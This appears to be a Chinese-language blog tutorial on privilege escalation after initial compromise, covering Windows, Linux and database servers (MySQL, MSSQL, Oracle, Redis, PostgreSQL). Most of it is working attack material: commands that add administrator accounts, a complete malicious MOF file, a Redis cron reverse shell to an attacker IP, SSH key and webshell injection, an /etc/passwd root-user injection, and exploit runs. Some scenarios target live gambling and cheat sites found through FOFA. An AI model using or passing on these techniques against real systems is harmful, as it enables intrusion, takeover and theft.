内网渗透-权限提升

权限提升

提高自己在服务器中的权限,主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升webshell权限以夺得该服务器权限

提权,顾名思义就是提高自己在服务器中的权限 ,比如在windows中本身登录的用户时guest,然后通过提权后就变成超级管理员(adminstrator),拥有了管理windwos的所有权限

权限提升:当已经找到漏洞并成功利用后,需要利用现有条件获得网站的权限或其他权限

后台获取Webshell的思路:借助网上资料》代码审计》借助后台功能点

  • 理解当前权限对应可操作的事情
  • 利用成功后的思想需要总结的思路
  • 相关的操作被拒绝无法实现的时候就会涉及权限提升/提权

后台权限:网站权限,数据库权限,接口权限,系统权限,域控权限

后台权限:(获得方式:爆破,SQL注入,弱口令等获取账号密码配合登录)

一般网站或应用后台只能操作应用的界面内容数据图片等信息,无法操作程序的源代码或服务器上的资源文件的(如后台功能存在文件操作的话也可以操作文件数据)

网站权限:(获得方式,以上三种方式获取)

查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等)还能收集服务器操作系统相关的信息,为后续系统提权做准备

数据库权限:

操作数据库的权限,数据库的增删改查等,源码或配置文件泄露,也可能是网站权限(webshell)进行的数据库配置文件读取获得

接口权限:(邮件,短信,支付,第三方登录API等)

后台或网站权限后的获取路径:后台(修改配置信息功能点),网站权限(查看的配置文件获取)

某开挂网站后台权限提升功能-后台功能

前提:已经获取的后台账号密码

后台权限和网站权限不同,后台权限不能对网站代码的层次进行修改

分析网站的CMS,在网上搜CMS对应的漏洞,复现

下载源码,进行代码审计,寻找可以提权的漏洞

用功能点配合网站源码进行测试,在上传点抓包找到对应的代码

没有代码直接测试,测试围绕文件,模板修改,SQL执行,数据备份等功能

博彩广告导航页权限提升-漏洞层面

前提:抓包发现有漏洞

抓包了解网站使用的Apache和OpenSSL版本,通过经验发现是基于phpstudy的网站

根据网络资料复现phpsyudy的后门漏洞,实现命令执行

苏丹大西瓜GlassFish中间件-第三方

通过FOFA搜索使用GlassFish的网站作为目标

根据网络资料复现GlassFish的任意文件读取漏洞

获得敏感信息进行下一步渗透

Windows提权

Windows提权命令

windows提权命令

Win溢出漏洞/AT&SC&PS提权

提权要点

用户及用户组权限划分

提权目标:SYSTEM(系统)、管理员组(Administrators)

Windows系统内置了许多本地用户组,这些用户组本身都已经被赋予一些权限(permissions),它们具有管理本地计算机或访问本地资源的权限。只要用户账户加入到这些本地组内,这回用户账户也将具备该组所拥有的权限

普通权限

默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限,

管理员组(Administrators)、
高权限用户组(Power Users)、
普通用户组(Users)、
备份操作组(Backup Operators)、
文件复制组(Replicator)、
来宾用户组(Guests)、
身份验证用户组(Ahthenticated users),

其中备份操作组和文件复制组为维护系统而设置,平时不会被使用。

管理员组拥有大部分的计算机操作权限(并不是全部),能够随意修改删除所有文件和修改系统设置只有程序信任组(特殊权限)。

再往下就是高权限用户组,这一部分用户也能做大部分事情,但是不能修改系统设置,不能运行一些涉及系统管理的程序。

普通用户组则被系统拴在了自己的地盘里,不能处理其他用户的文件和运行涉及管理的程序等。

来宾用户组的文件操作权限和普通用户组一样,但是无法执行更多的程序。

身份验证用户组(Ahthenticated users)经过ms验证程序登录的用户均属于此组

特殊权限

除了上面提到的7个默认权限分组,系统还存在一些特殊权限成员,这些成员是为了特殊用途而设置,分别是:
SYSTEM(系统)、
Trustedinstaller(信任程序模块)、
Everyone(所有人)、
CREATOR OWNER(创建者)等,

这些特殊成员不被任何内置用户组吸纳,属于完全独立出来的账户。

真正拥有“完全访问权”的只有一个成员:SYSTEM。这个成员是系统产生的,真正拥有整台计算机管理权限的账户,一般的操作是无法获取与它等价的权限的。

Everyone权限与普通用户组权限差不多,它的存在是为了让用户能访问被标记为“公有”的文件,这也是一些程序正常运行需要的访问权限——任何人都能正常访问被赋予Everyone权限的文件,包括来宾组成员。

被标记为CREATOR OWNER权限的文件只有建立文件的那个用户才能访问,做到了一定程度的隐私保护。

但是,所有的文件访问权限均可以被管理员组用户和SYSTEM成员忽略,除非用户使用了NTFS加密。

无论是普通权限还是特殊权限,它们都可以“叠加”使用,“叠加”就是指多个权限共同使用,例如一个账户原本属于Users组,而后我们把他加入Administrators组再加入Trustedinstaller等权限提升,那么现在这个账户便同时拥有两个或多个权限身份,而不是用管理员权限去覆盖原来身份。权限叠加并不是没有意义的,在一些需要特定身份访问的场合,用户只有为自己设置了指定的身份才能访问,这个时候“叠加”的使用就能减轻一部分劳动量了

基于Web环境下的权限提升

前提:windows2012,已获得web权限

信息收集

运行cmd,收集系统的基础信息,但权限不够不能做添加或修改

使用"whoami"获得当前用户名,使用“whoami /priv”了解当前账户权限,通过“systeminfo”可以知道系统打过多少补丁,还有“ipconfig”等,可以在命令后加“> x.txt”输出命令 部分输出会提示权限不够或waf拦截 直接复制即可

补丁筛选

Vulmap

使用"vulmap"进行补丁筛选:下载,直接运行其中“.ps1”后缀的PowerShell脚本(打开PowerShell将脚本拖进去)

wes

使用“Wes”进行补丁筛选:下载,在cmd执行命令“python.exe wes.py systeminfo.txt -o vuln.csv”,即对比“systeminfo”文件并将结果输出,其中“-o”是输出,可以将结果输出为“csv”“txt”等格式,输出的结果是可能存在的漏洞等,第一次使用会要求下载两个文件(漏洞库)

WindwosVulnScan

使用“WindowsVulnScan”进行补丁筛选:

下载,在cmd执行命令“python.exe WindowsVulnScan-master/cve-check.py”可以看到程序说明,使用“-u”“-U”分别更新CVE和EXP信息

将“KBCollect.ps1”放到放到对方的服务器上运行,获得“KB.json”,也可以自行复制“systeminfo”的信息并修改成其需要的格式

cmd执行“python.exe WindowsVulnScan-master/cve-check.py -C -f KB.json”,如果出现错误提示将KB.json的编码格式转换为UTF-8编码即可

利用MSF或特定EXP

在实战中利用MSF,建议购买服务器,2核4G或2核2G,安装Ubuntu系统,只安装MSF;非实战kali或忍者系统就可以

用Xshell远程连接MSF服务器,输入“msfconsole”启动msf,借助msf利用漏洞,反弹shell,提升权限

基于本地环境下的权限提升-系统溢出漏洞

前提:已经获得计算机的普通用户权限

运行漏洞EXP将当前的用户权限为System

提权原因:有些工具需要足够的权限才能运行,高权限可以获得更多信息,利于内网渗透

CVE-2020-0787 BitsArbitraryFileMoveExploit

CVE-2020-0787-EXP-ALL-WINDOWS-VERSION:https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION

基于本地环境下的权限提升-AT&SC&PS命令

前提已经获得计算机的平台用户权限,比较老的计算机系统,win7之前的系统,以win2003为例

AT

打开CMD添加一项计划任务,在15:13打开一个cmd窗口,时间可以自由设置,发现打开的窗口是system权限

at 15:13 /interactive cmd.exe

win7以上版本已失效该方法

SC

创建一个名叫“syscmd”的服务,运行它

sc Create syscmd binPath= "cmd /K start" type= own type= interact

sc start syscmd

发现得到的cmd窗口是system权限

这是一个逻辑错误,只针对Win7之前的系统

win7以上版本失效

PS

下载微软官方的PsTools工具包,在下载的文件夹下执行下面的命令

psexec.exe -accepteula -s -i -d cmd.exe

发现得到的cmd窗口是system权限

总结

权限提升流程:信息收集-补丁筛选-利用MSF或特定EXP-西瓜到手

漏洞库推荐:Vulmap、Wes、WindowsVulnScan

windows-exp-suggester在17年后未更新,不再推荐

Vulmap是PowerShell脚本,使用最简单,但web提权往往只能有cmd窗口,不一定有PowerShell环境,导致该项目对Windows系统不友好

Wes和WindowsVulnScan是python脚本,可以不借助PowerShell操作,更适用于web提权

有些漏洞可能只适应于本地环境提权,不适用于web环境提权

有些提权方法借助系统上的设计,逻辑上的问题来实现,并不总是依靠漏洞

Windows2008&7令牌窃取提升-本地

进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。

本地提权实验:获取会话-利用模块-窃取令牌-提权

适应系统:

Microsoft Windows XP Professional SP3和之前版本

Windows Server 2003 SP2和之前的版本

Windows Server 2003 x64和x64 SP2

Windows Server 2003(用于基于Itanium的系统SP2和先前版本)

Windows Server 2008 x32 x64

Windows Server 2008(用于基于Itanium的系统)

Windows Vista SP1和之前的版本

Windows Vista x64 SP1和之前的版本

只适用于2008之前的老版本

提权命令:

use incognito

list_tokens -u

impersonate_token “令牌名”

Windows2003&10进程注入提升

进程注入提权是本地提权方式的一种较为老的安全技术了,利用的是注入进程的所有者实现权限共享机制,这类技术主要利用在windows2008之前操作系统上.所以我们需要学习后续的本地提权更多的手法才能有针对高版本的系统。

pinjector进程注入工具针对-win2008以前操作系统

在cmd中运行该软件

加“-l”获取当前计算机的进程列表

加“-p 被注入的进程pid cmd.exe(反弹过去的程序) 反弹的端口号”

用nc连接

pexec64 32进程注入工具针对-win2008及后操作系统

在cmd中运行该软件

可以通过ProcessExplorer看当前电脑的PID进程号

加“PID”注入线程

用nc连接9999端口

涉及资源:

Redis未授权访问漏洞利用总结:https://blog.csdn.net/fly_hps/article/details/80937837

PostgreSQL 提权漏洞(CVE-2018-1058):https://vulhub.org/#/environments/postgres/CVE-2018-1058/

PostgreSQL 高权限命令执行漏洞(CVE-2019-9193):https://vulhub.org/#/environments/postgres/CVE-2019-9193/

C/C++ 进程代码注入与提权/降权:https://www.cnblogs.com/LyShark/p/13785619.html

提权降权工具(pexec64 32):https://www.blib.cn/soft/pexec.zip

进程资源管理器 v16.43:https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer

pinjector进程注入工具:https://www.tarasco.org/security/Process_Injector/processinjector.zip

微软常用运行库合集:搜索AiO Runtimes或All in One Runtimes


数据库提权

MY&MS&ORA数据库提权

数据库提权,根据数据库的不同使用不同的方法

数据库提权

web提权本地提权皆可实现,核心是需要得到数据库账号密码,否则无法提权

在利用系统溢出漏洞没有成果的时候可以采用数据库进行提权

数据库提权的前提条件:服务器开启数据库服务,以及获取到最高权限用户密码

除了Access数据库外,其他数据库基本都存在数据库提权的可能

流程:服务探针-信息收集-权限利用-获取权限

如下:

WEB或本地环境如何探针数据库应用以及服务—服务探针

  • 通过探针判断有数据库相关的服务
  • 通过端口扫描看是否开启对应端口
  • 通过命令段看是否开启相关服务
  • 通过浏览文件或文件夹判定是否安装相关数据库

数据库提权权限用户密码收集等方法—信息收集

数据库配置文件,存储文件,暴力破解,Mysql提权脚本等

  • 配置文件:一些需要调用数据库的程序会有配置文件记录账号密码
  • 存储文件:将数据库中的一些存储文件下载还原,解析或解密里面的账号密码
  • 暴力破解:通过爆破脚本等爆破密码,爆破前提条件是对方数据库开启了外连服务,否则无法爆破
    • 脚本暴力破解:通过网上公开的MYsql爆破脚本,上传到对方服务器上执行,实现本地爆破

前提条件和提权思路

前提:以及获得webshell权限,借助数据库权限,获得服务器权限

进入后门,通过扫描端口等方式,确定对应的数据库

针对不同数据库使用不同方法提权

MySQL-UDF提权

原理

通过root权限,导入udf.dll到系统目录下,可以通过udf.dll调用执行cmd

利用条件

系统版本:Win2000、WinXP、Win2003

具有对MySQL的insert/delete权限的账号,用以创建和抛弃函数。最好是root,或具备root账号所具备的权限的其它账号。

MySQL<5.1,UDF导出到系统目录c:/windows/system32/

MySQL>5.1,UDF导出到MySQL安装目录lib\plugin\目录(该目录默认不存在,需手动创建)

sqlmap自带的udf.dll提权文件

C:\Python27\sqlmap\udf\mysql\windows\32

C:\Python27\sqlmap\udf\mysql\windows\64

寻找MySQL目录

mysql> select @@basedir;

mysql> show variables like ‘%plugin%’;

udf = ‘user defined function‘,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写

信息收集

MySQL数据库安装后默认继承系统权限,取得MySQL最高权限账户root账户的账号密码(账户为root,密码为自定义)后,可以调用dll文件并执行里面的命令执行函数来实现对系统命令的调用执行,实现提权

通过关键字寻找数据库配置文件,从其中找出root账号密码

  • 查看网站源码里面的的数据库配置文件(sql、data、inc、config、conn、database、common、include等);

  • 用菜刀连接网站数据库查看;

  • 读取数据库存储或备份文件(了解其数据库存储格式及对应内容)

    • @@basedir/data/数据库名/表名.myd
  • 利用脚本暴力猜解(了解数据库是否支持外联及如何开启外连)

    • 远程本地暴力猜解,服务器本地暴力猜解
  • 利用自定义执行函数导出dll文件进行命令执行

    • select version() select @@basedir
  • 手工创建plugin目录或利用NTFS流创建

    • select ‘x’ into dumpfile ‘目录/lib/plugin::INDEX_ALLOCATION’;
    1.mysql<5.1导出目录c:/windows或system32
    
    2.mysql=>5.1导出安装目录/lib/plugin/
    

数据库的安装目录下有“data”目录,“data”下的每个文件夹对应数据库,每个文件夹中三个名称相同但后缀名不同的文件对应一个表,其中“.MYD”文件对应表的数据。MySQL数据库的所有账号密码就保存在“MySQL所在的文件夹\data\mysql\user.MYD”中,需要MD5解密

root用户默认不支持外连,暴力破解时可以将爆破脚本上传到服务器,进行本地爆破

权限利用

导出dll文件并执行命令执行函数实现提权

导出数据时根据MySQL版本选择不同的目录

mysql<5.1 导出目录c:/windows或system32

mysql=>5.1 导出安装目录/lib/plugin/

其中plugin目录需要自行创建

select version(); 查看版本

select @@basedir; 查看安装目录

一般通过脚本实现文件导入和命令执行


  • 最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。连接到mysql以后,先导出udf.dll到c:\windows\system32目录下

  • 创建相应的函数并执行命令,具体如下:

create function cmdshell returns string soname ‘udf.dll’;

select cmdshell(‘net user waitalone waitalone.cn /add’);

select cmdshell(‘net localgroup administrators waitalone /add’);

drop function cmdshell; 删除函数

delete from mysql.func where name=’cmdshell’ 删除函数

备注:

(某些情况下,我们会遇到Can’t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法 )

select @@basedir; //查找到mysql的目录

select ‘It is dll’ into dumpfile ‘C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION’;//利用NTFS ADS创建lib目录

select ‘It is dll’ into dumpfile ‘C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION’;//利用NTFS ADS创建plugin目录
执行成功以后再进行导出即可。


MOF提权

原理

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令

利用

将mof上传至任意可读可写目录下,这里我传到D:\wamp\下命名为:xishaonian.mof。也就是:D:\wamp\xishaonian.mof

然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。

替换的sql语句:select load_file(‘D:\wamp\xishaonian.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;

mof文件代码如下所示:

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

可见其中是有一段添加用户的脚本。账号为admin 密码为admin

img

启动项知识点:(基于配合操作系统自启动)

导出自定义可执行文件到启动目录配合重启执行

将创建好的后门或执行文件进行服务器启动项写入,配合重启执行!


反弹端口连接提权

  • 假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?
    利用mysql客户端工具连接mysql服务器,然后执行下面的操作。
    - mysql.exe -h 172.16.10.11 -uroot -p
    - Enter password:
    - mysql> . c:\mysql.txt
    - mysql>select backshell(“YourIP”,2010);
  • 本地监听你反弹的端口
    - nc.exe -vv -l -p 2010
  • 成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。

MsSQL提权

使用xp_cmdshell进行提权

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。

查看xp_cmdshell:查看“数据库-系统数据库-master-可编程性-扩展储存过程-系统扩展储存过程”中有无sys.xp_cmdshell一项

xp_cmdshell 以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出。授予非管理用户执行 xp_cmdshell 的权限。

xp_cmdshell前提知道mssql sa的账户和密码:

开启 xp_cmdshell 的方法:

EXEC sp_configure ‘show advanced options’, 1;

RECONFIGURE;

EXEC sp_configure ‘xp_cmdshell’, 1;

RECONFIGURE;

exec sp_configure

成功的开启 xp_cmdshell:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ozL3KtXP-1661481963124)(C:\Users\雷神\AppData\Roaming\Typora\typora-user-images\image-20220429145553481.png)]

xp_cmdshell顺利打开了。然后就可以直接执行cmd命令了

exec xp_cmdshell ’ net user Guest Qwer123456789’ exec xp_cmdshell ’ net user Guest /active:yes’ exec xp_cmdshell ‘net localgroup administrators Guest /add’

启动:

EXEC sp_configure 'show advanced options', 1

RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;

RECONFIGURE;

关闭:

exec sp_configure 'show advanced options', 1;

reconfigure;

exec sp_configure 'xp_cmdshell', 0;

reconfigure;

执行:

EXEC master.dbo.xp_cmdshell '命令'

使用 sp_oacreate 进行提权

默认关闭,也需要先启动

启用:

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'Ole Automation Procedures', 1;

RECONFIGURE WITH OVERRIDE;

关闭:

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'Ole Automation Procedures', 0;

RECONFIGURE WITH OVERRIDE;

执行(whoami,并且回显):

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

执行whoami命令 并输出到某个盘符下

MsSQL提权方法总结


Oracle提权

oracle数据库一般配合jsp建站,jsp网站后门不需要提权,自带system权限

普通用户模式:

前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。

DBA用户模式:(自动化工具演示)

拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。

注入提升模式:(sqlmap测试演示)

拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证。

(JSP网站不需要提权,自带system权限)


Redis提权

Redis服务因配置不当,可被攻击者恶意利用,攻击者利用Redis内置命令,可将现有数据恶意清空,如果Redis以root身份运行,攻击者可往服务器上写入SSH公钥文件,直接登录服务器

连接redis:

redis-cli -h 192.168.63.130

查看redis版本信息、一些具体信息、服务器版本信息等等:

192.168.63.130:6379>info

利用计划任务执行命令反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell

先在自己的服务器上监听一个端口

nc -lvnp xxxx

然后执行命令

root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK

在这里插入图片描述

nc监听端口已经反弹回来shell
在这里插入图片描述

ps:此处使用bash反弹shell,也可使用其他方法

(2).写ssh-keygen公钥然后使用私钥登陆

在以下条件下,可以利用此方法

  • Redis服务使用ROOT账号启动
  • 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

首先在本地生成一对密钥:

root@kali:~/.ssh# ssh-keygen -t rsa

在这里插入图片描述

然后redis执行命令:

192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
OK
192.168.63.130:6379> save
OK

save后可以直接利用公钥登录ssh

在这里插入图片描述

(3).往web物理路径写webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell

执行以下命令

192.168.63.130:6379> config set dir /var/www/html/
OK
192.168.63.130:6379> config set dbfilename shell.php
OK
192.168.63.130:6379> set x "<?php phpinfo();?>"
OK
192.168.63.130:6379> save
OK

即可将shell写入web目录(web目录根据实际情况)

在这里插入图片描述

安全配置

  • 限制登录ip
  • 添加密码
  • 修改默认端口

修复方案:

注意:以下操作,均需重启Redis后才能生效。

绑定需要访问数据库的IP。将127.0.0.1修改为需要访问此数据库的IP地址。

设置访问密码。在Redis.conf中requirepass字段后,设置添加访问密码。

修改Redis服务运行账号。以较低权限账号运行Redis服务,禁用账号的登录权限

Redis连接-利用计划任务执行命令反弹shell

​ redis-cli -h IP地址(如果是本地数据库填127.0.0.1)

执行提权命令:

set x "\n* * * * * bash -i >& /dev/tcp/监听IP地址/端口号 0>&1\n"

config set dir /var/spool/cron/

config set dbfilename root

save

PostgreSQL提权

PostgreSQL是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPYTO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。

PostgreSQL 高权限命令执行漏洞复现(CVE-2019-9193)

PostgreSQL 提权漏洞(CVE-2018-1058)

提权方法:

连接-利用漏洞-执行-提权

参考:https://vulhub.org/#/environments/postgres/

**修复方案:**升级版本或打上补丁

高权限账户

MySQL:root

MsSQL:sa

Oracle:DBA

Postgres:postgres


Linux提权

linux提权自动化脚本利用-4个脚本

两个信息收集:LinEnum、linuxprivchecker

https://github.com/rebootuser/LinEnum

https://github.com/sleventyeleven/linuxprivchecker

两个漏洞探针:linux-exploit-suggester、linux-exploit-suggester2

https://github.com/mzet-/linux-exploit-suggester

https://github.com/jondonas/linux-exploit-suggester-2

信息收集为后续提权做准备

漏洞探针用于内核提权,判断操作系统上可能存在的漏洞

LinEnum

需要通过webshell权限或文件上传权限上传“LinEnum.sh”到“tmp”文件夹下

来到“tmp”目录下

cd /tmp

如果文件不能被执行,给予其一个可执行权限

chmod +x LinEnum.sh

chmod +x [文件名]

执行文件

./LinEnum.sh

./[文件名]

LinEnum会列出目标机器的信息,具体格式参照其GitHub页面

其中“Locate all SUID/GUID files”与能否使用SUID提权

linuxprivchecker

需要通过webshell权限或文件上传权限上传“linuxprivchecker.py”到“tmp”文件夹下,还需要目标机器上有python

来到“tmp”目录下,执行文件

python linuxprivchecker.py

linuxprivchecker会列出目标机器的信息,不过它不像LinEnum有颜色标识

linux-exploit-suggester

需要通过webshell权限或文件上传权限上传“linux-exploit-suggester.sh”到“tmp”文件夹下

来到“tmp”目录下,执行文件

./linux-exploit-suggester.sh

linux-exploit-suggester首先会输出内核等信息,然后输出可能存在的漏洞,包括exp的下载地址,可以下载对应的exp来测试。有橙色标签的说明更符合目标机情况

linux-exploit-suggester2

需要通过webshell权限或文件上传权限上传“linux-exploit-suggester-2.pl”到“tmp”文件夹下,还需要目标机器上有perl(一种脚本语言)

来到“tmp”目录下,执行文件

perl linux-exploit-suggester-2.pl

linux-exploit-suggester2会直接报告可能的漏洞和exp下载地址

SUID提权

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

已知可用来提权的linux可行性的文件列表如下

Nmap
Vim
find
Bash
More
Less
Nano
cp

以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

在这里插入图片描述

以上所有二进制文件都将以root用户权限执行,因为它们的权限包含“s”,并且对应的是root权限

ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap

img

SUID传送门

定时任务提权

拿到shell后首先尝试了suid提权,内核提权,但是没有成功!到home目录里面也没有发现特殊文件,然后到网站的根目录下寻找特殊文件

id            #查看登录id
cd /var/www/html         #访问/var/www/html目录
ls           #查看/var/www/html目录下的文件
cat finally.sh        #查看特殊文件finally.sh
cat write.sh          #查看特殊文件write.sh

查看定时任务的配置文件

cat /etc/crontab 

在这里插入图片描述

将反弹shell代码写入到计划任务中

果然定时计划配置不当,系统会每五分钟就以root权限执行finally.sh。现在将反弹shell的代码写入
write.sh 中。

向write.sh 中写入

echo -n 'echo "kali:BzUaXkvkbDOx2:0:0:root:/root:/bin/bash" >> /etc/passwd' > write.sh其中BzUaXkvkbDOx是密码123通过openssh生成的等待一段时间后,查看/etc/passwd文件,Kali用户已经添加到/etc/passwd文件中,并且uid,gid=0,即为root

在这里插入图片描述

在这里插入图片描述

过了一段时间可以看到创建了三个用户
在这里插入图片描述
使用su kali登录即可,passwd:123

我这里不知道什么原因无法登录,但利用终端又可以进行登录
在这里插入图片描述

第二种方法

使用CVE-2021-3493,由于靶机上没有gcc,所以将编译好的文件发送到靶机,kali开启web服务,靶机直接下载

下载地址:https://github.com/briskets/CVE-2021-3493.git

然后通过gcc编译此文件

gcc exploit.c -o exploit --进行编译
chmod +x exploit.c  --添加可执行权限
./exploit  --执行

在这里插入图片描述

使用kali开启web服务

sudo python -m SimpleHTTPServer 80

在这里插入图片描述

靶机进行下载即可
在这里插入图片描述

chmod +x 赋予权限
在这里插入图片描述
./exploit进行执行即可
在这里插入图片描述
成功获取root权限

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ranwu0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值